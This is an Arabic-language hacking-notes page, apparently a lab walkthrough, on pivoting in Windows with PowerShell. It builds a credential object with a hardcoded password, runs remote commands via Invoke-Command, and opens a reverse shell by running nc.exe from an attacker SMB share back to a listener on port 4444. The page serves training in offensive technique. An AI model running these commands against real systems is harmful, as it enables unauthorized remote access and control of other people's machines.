> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/post-exploitation/pivoting-windows-powershell.md).

# التوجيه في Windows (PowerShell)

### بوويرشيل

قمنا بتشغيل PowerShell على آلة الهجوم الخاصة بنا:

```bash
powershell
```

لقد استعدنا الآن اسم بيئة Windows باستخدام `hostname` الأمر، وتأكدنا أن اسم الفندق هو `Sniper`.

```powershell
hostname
```

بعد ذلك، أنشأنا متغيرًا للمستخدم `Chris` ومتغيرًا آخر لكلمة المرور باستخدام `ConvertTo-SecureString`:

```powershell
$user = "Sniper/Chris"
```

```powershell
$password = ConvertTo-SecureString '36mEAhz/B8xQ~2VM' -AsPlainText -Force
```

لذا، قمنا بإنشاء `PSCredential` كائنًا لنتمكن من تنفيذ الأوامر عن بُعد على الجهاز:

```bash
$cred = New-Object System.Management.Automation.PSCredential($user, $password)
```

**تنفيذ الأوامر عن بُعد:**/ لقد استخدمنا الآن الأمر التالي لتنفيذ `whoami` الأوامر عن بُعد والتحقق من الصلاحيات:

```powershell
Invoke-Command -Credential $cred -ComputerName Sniper -ScriptBlock {whoami}
```

* وقد سمح لنا هذا بالتأكد من أننا كنا متصلين بالفعل بصفتنا **Chris**.

<figure><img src="/files/0e077cad9873f4806bc0baf2b4ed25f05c91db86" alt=""><figcaption></figcaption></figure>

**شل عكسي :**/ للحصول على وصول كامل إلى النظام، قمنا بإعداد مستمع على المنفذ 4444:

```bash
rlwrap nc -nlvp 4444
```

بعد ذلك، قمنا بتشغيل شل عكسي باستخدام `nc.exe` من خادم SMB الخاص بنا:

{% code overflow="wrap" %}

```powershell
Invoke-Command -Credential $cred -ComputerName Sniper -ScriptBlock {//10.10.14.3/share/nc.exe -e cmd 10.10.14.3 4444}
```

{% endcode %}

<figure><img src="/files/c39caa6c389cc964fe6d01ad26592702f6cb14b9" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/post-exploitation/pivoting-windows-powershell.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
